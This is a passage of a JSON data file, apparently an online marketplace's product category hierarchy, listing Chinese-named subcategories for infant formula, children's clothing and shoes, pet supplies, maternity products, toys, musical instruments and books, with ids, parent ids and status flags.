":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20558,"name":"婴幼儿羊奶粉(3段)","parent_cid":20028,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20556,"name":"婴幼儿液态奶","parent_cid":20028,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20559,"name":"婴幼儿营养品","parent_cid":20028,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20552,"name":"其它","parent_cid":20028,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20632,"name":"背心吊带","parent_cid":20032,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20595,"name":"衬衫","parent_cid":20032,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20612,"name":"肚兜/肚围/护脐带","parent_cid":20032,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33893,"name":"儿童和服","parent_cid":20032,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20639,"name":"儿童户外服","parent_cid":20032,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20638,"name":"儿童家居服","parent_cid":20032,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20629,"name":"儿童礼服","parent_cid":20032,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20637,"name":"儿童内衣裤","parent_cid":20032,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20628,"name":"儿童牛仔","parent_cid":20032,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20630,"name":"儿童配饰","parent_cid":20032,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20617,"name":"儿童POLO衫","parent_cid":20032,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20634,"name":"儿童旗袍/唐装/民族服装","parent_cid":20032,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20633,"name":"儿童袜子(0-16岁)","parent_cid":20032,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20640,"name":"儿童演出服","parent_cid":20032,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20627,"name":"儿童泳装","parent_cid":20032,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20624,"name":"反穿衣/罩衣","parent_cid":20032,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20597,"name":"裤子","parent_cid":20032,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20625,"name":"连身衣/爬服/哈衣","parent_cid":20032,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20598,"name":"马甲","parent_cid":20032,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20613,"name":"毛衣/针织衫","parent_cid":20032,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20611,"name":"帽子/围巾/口罩/手套/耳套/脚套","parent_cid":20032,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20608,"name":"棉袄/棉服","parent_cid":20032,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20615,"name":"抹胸/儿童文胸","parent_cid":20032,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20607,"name":"披风/斗篷","parent_cid":20032,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20626,"name":"亲子装/亲子时装","parent_cid":20032,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20596,"name":"裙子","parent_cid":20032,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20594,"name":"套装","parent_cid":20032,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20592,"name":"T恤","parent_cid":20032,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20610,"name":"外套/夹克/大衣","parent_cid":20032,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20606,"name":"卫衣/绒衫","parent_cid":20032,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20616,"name":"校服/校服定制","parent_cid":20032,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20631,"name":"婴儿礼盒","parent_cid":20032,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20635,"name":"羽绒服饰/羽绒内胆","parent_cid":20032,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20593,"name":"其它","parent_cid":20032,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20601,"name":"板鞋","parent_cid":20033,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20636,"name":"传统布鞋/手工编织鞋","parent_cid":20033,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20619,"name":"帆布鞋","parent_cid":20033,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20599,"name":"凉鞋","parent_cid":20033,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20602,"name":"棉鞋","parent_cid":20033,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20603,"name":"皮鞋","parent_cid":20033,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20609,"name":"皮靴/棉靴","parent_cid":20033,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20618,"name":"亲子鞋","parent_cid":20033,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20600,"name":"拖鞋","parent_cid":20033,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20620,"name":"舞蹈鞋","parent_cid":20033,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20623,"name":"鞋配件","parent_cid":20033,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20614,"name":"学步鞋","parent_cid":20033,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20622,"name":"雪地靴","parent_cid":20033,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20641,"name":"婴儿步前鞋/袜鞋","parent_cid":20033,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20621,"name":"运动鞋","parent_cid":20033,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20604,"name":"雨靴","parent_cid":20033,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20699,"name":"仓鼠类及其它小宠","parent_cid":20041,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20697,"name":"宠物服饰及配件","parent_cid":20041,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20700,"name":"宠物附属品(新)","parent_cid":20041,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20693,"name":"宠物智能设备","parent_cid":20041,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20698,"name":"畜牧用品(新)","parent_cid":20041,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":31984,"name":"动物药品及药剂","parent_cid":20041,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20687,"name":"狗零食","parent_cid":20041,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20696,"name":"马类及其用品","parent_cid":20041,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20681,"name":"猫/狗美容清洁用品","parent_cid":20041,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20679,"name":"猫/狗日用品","parent_cid":20041,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20680,"name":"猫/狗通用食品","parent_cid":20041,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20678,"name":"猫/狗玩具","parent_cid":20041,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20682,"name":"猫/狗医疗用品(非药品)","parent_cid":20041,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20695,"name":"猫零食(新)","parent_cid":20041,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20688,"name":"猫主粮","parent_cid":20041,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20691,"name":"鸟类及用品","parent_cid":20041,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20684,"name":"爬虫/鸣虫及其用品","parent_cid":20041,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20686,"name":"犬主粮","parent_cid":20041,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20685,"name":"散装粮","parent_cid":20041,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20690,"name":"水族世界","parent_cid":20041,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20692,"name":"兔类及其用品","parent_cid":20041,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20689,"name":"其它宠物","parent_cid":20041,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20900,"name":"哺乳文胸/内裤/产检裤","parent_cid":20055,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20896,"name":"哺乳用品","parent_cid":20055,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20892,"name":"产妇帽/孕妇袜/孕妇鞋","parent_cid":20055,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20898,"name":"待产用品","parent_cid":20055,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20888,"name":"防辐射","parent_cid":20055,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20893,"name":"家居服/哺乳装/秋衣裤","parent_cid":20055,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20890,"name":"妈咪包/背婴带","parent_cid":20055,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20895,"name":"乳房护理","parent_cid":20055,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20894,"name":"束缚带/塑身衣/盆骨带","parent_cid":20055,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20889,"name":"吸奶器/配件","parent_cid":20055,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20899,"name":"月子营养","parent_cid":20055,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20903,"name":"孕产妇彩妆","parent_cid":20055,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20904,"name":"孕产妇护肤/洗护/祛纹","parent_cid":20055,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20902,"name":"孕产妇奶粉","parent_cid":20055,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20906,"name":"孕产妇营养品","parent_cid":20055,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20905,"name":"孕产妇运动/瑜伽/健身","parent_cid":20055,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20891,"name":"孕妇裤/托腹裤","parent_cid":20055,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20887,"name":"孕妇装","parent_cid":20055,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20907,"name":"孕期口腔护理","parent_cid":20055,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20897,"name":"孕期胎教","parent_cid":20055,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21157,"name":"布尿裤/尿垫","parent_cid":20067,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21114,"name":"拉拉裤","parent_cid":20067,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21253,"name":"尿裤周边","parent_cid":20067,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21254,"name":"特护尿裤","parent_cid":20067,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21116,"name":"纸尿裤","parent_cid":20067,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21115,"name":"纸尿片","parent_cid":20067,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20959,"name":"其他","parent_cid":20067,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21255,"name":"宝宝护肤","parent_cid":20068,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21179,"name":"宝宝清洁液/洗衣液/柔顺剂","parent_cid":20068,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21402,"name":"宝宝如厕用品","parent_cid":20068,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21256,"name":"宝宝洗浴","parent_cid":20068,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21056,"name":"背带/学步带/出行用品","parent_cid":20068,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21159,"name":"儿童房/桌椅/家具","parent_cid":20068,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21334,"name":"儿童座椅/亲子车","parent_cid":20068,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21034,"name":"防撞/提醒/安全/保护","parent_cid":20068,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21076,"name":"理发/指甲钳等护理小用品","parent_cid":20068,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33017,"name":"母婴用纸","parent_cid":20068,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21062,"name":"奶瓶/奶瓶相关","parent_cid":20068,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21061,"name":"奶嘴/奶嘴相关","parent_cid":20068,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21445,"name":"汽车安全座椅/安全背带","parent_cid":20068,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21257,"name":"驱蚊用品","parent_cid":20068,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21037,"name":"水杯/餐具/研磨/辅食小家电","parent_cid":20068,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21033,"name":"睡袋/凉席/枕头/床品","parent_cid":20068,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21051,"name":"童床/婴儿床/摇篮/床护栏","parent_cid":20068,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21045,"name":"消毒/暖奶/喂养小家电","parent_cid":20068,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21029,"name":"牙胶/牙刷/牙膏","parent_cid":20068,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":31982,"name":"婴儿棉柔巾","parent_cid":20068,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20960,"name":"婴儿湿巾","parent_cid":20068,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21378,"name":"婴儿手推车/学步车","parent_cid":20068,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21401,"name":"其它婴童用品","parent_cid":20068,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20366,"name":"BJD娃娃","parent_cid":20019,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20378,"name":"潮玩盲盒","parent_cid":20019,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20376,"name":"车船模/军模/无人机/穿越机","parent_cid":20019,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20367,"name":"Cosplay服饰/道具/服务","parent_cid":20019,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20379,"name":"动漫游戏展/演出票","parent_cid":20019,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20382,"name":"二次元古风服装","parent_cid":20019,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":33894,"name":"二次元和服","parent_cid":20019,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20377,"name":"二次元lolita","parent_cid":20019,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20375,"name":"高达/机甲模型/机器人/变形类","parent_cid":20019,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20370,"name":"聚会/魔术/演出用品","parent_cid":20019,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20371,"name":"卡通/动漫周边","parent_cid":20019,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20381,"name":"模型制作工具/辅料耗材","parent_cid":20019,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20368,"name":"棋牌/桌游","parent_cid":20019,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20369,"name":"手办/兵人/扭蛋","parent_cid":20019,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20373,"name":"文化/体育周边","parent_cid":20019,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20372,"name":"影视/明星周边","parent_cid":20019,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20380,"name":"游戏实物周边","parent_cid":20019,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34389,"name":"预售模玩","parent_cid":20019,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20374,"name":"纸模/纸质模型","parent_cid":20019,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20443,"name":"电子合成器","parent_cid":20020,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20450,"name":"儿童玩具乐器","parent_cid":20020,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20391,"name":"钢琴","parent_cid":20020,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20414,"name":"乐器服务","parent_cid":20020,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20440,"name":"乐器工具/周边","parent_cid":20020,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20415,"name":"乐器配件","parent_cid":20020,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20416,"name":"乐器音箱","parent_cid":20020,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20385,"name":"MIDI乐器/电脑音乐","parent_cid":20020,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20417,"name":"民族乐器","parent_cid":20020,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20418,"name":"西洋乐器","parent_cid":20020,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20485,"name":"宝宝纪念品/个性产品","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20463,"name":"彩泥/粘土/软陶泥","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20459,"name":"串珠/拼图/配对/拆装/敲打玩具","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20460,"name":"电动/遥控/惯性/发条玩具","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20489,"name":"电动遥控玩具零件/工具","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20461,"name":"电子/发光/充气/整蛊玩具","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20470,"name":"儿童包/背包/箱包","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20484,"name":"儿童机器人/变形/人偶玩具","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20480,"name":"儿童棋类/桌面游戏","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20482,"name":"儿童玩具枪","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20486,"name":"儿童智能玩具","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20469,"name":"仿真/过家家玩具","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20483,"name":"绘画类用品","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20478,"name":"户外运动/休闲/传统玩具","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20462,"name":"解锁/迷宫/魔方/智力玩具","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20456,"name":"积木","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20474,"name":"静态模型","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20488,"name":"毛绒布艺类玩具","parent_cid":20025,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20479,"name":"手工制作/创意DIY","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20455,"name":"STEAM玩具/教具","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20467,"name":"童车/儿童轮滑","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20458,"name":"娃娃/配件","parent_cid":20025,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20464,"name":"学习/实验/绘画文具","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20481,"name":"音乐玩具/儿童乐器","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20487,"name":"油动电动模型","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20476,"name":"幼儿爬行/学步/健身","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20477,"name":"幼儿响铃/布玩/安抚玩具","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20468,"name":"游乐/教学设备/大型设施","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20471,"name":"游泳池/戏水玩具","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20457,"name":"悠悠(溜溜)球","parent_cid":20025,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20466,"name":"早教/智能玩具","parent_cid":20025,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20325,"name":"保健/心理类书籍","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20339,"name":"报纸/期刊订阅","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20327,"name":"残损库存品/外观瑕疵品","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20296,"name":"传记","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20311,"name":"地图/地理","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20352,"name":"儿童读物/童书","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20304,"name":"法律","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20334,"name":"工具书/百科全书","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20322,"name":"工业/农业技术","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20306,"name":"管理","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20359,"name":"婚恋与两性","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20357,"name":"健身与保健","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20307,"name":"经济","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20360,"name":"进口原版书(含港台)","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20330,"name":"计算机/网络","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20315,"name":"考试/教材/教辅/论文","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20323,"name":"科学/科学研究","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20298,"name":"历史","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20303,"name":"旅游","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20317,"name":"漫画/动漫/漫画集","parent_cid":20015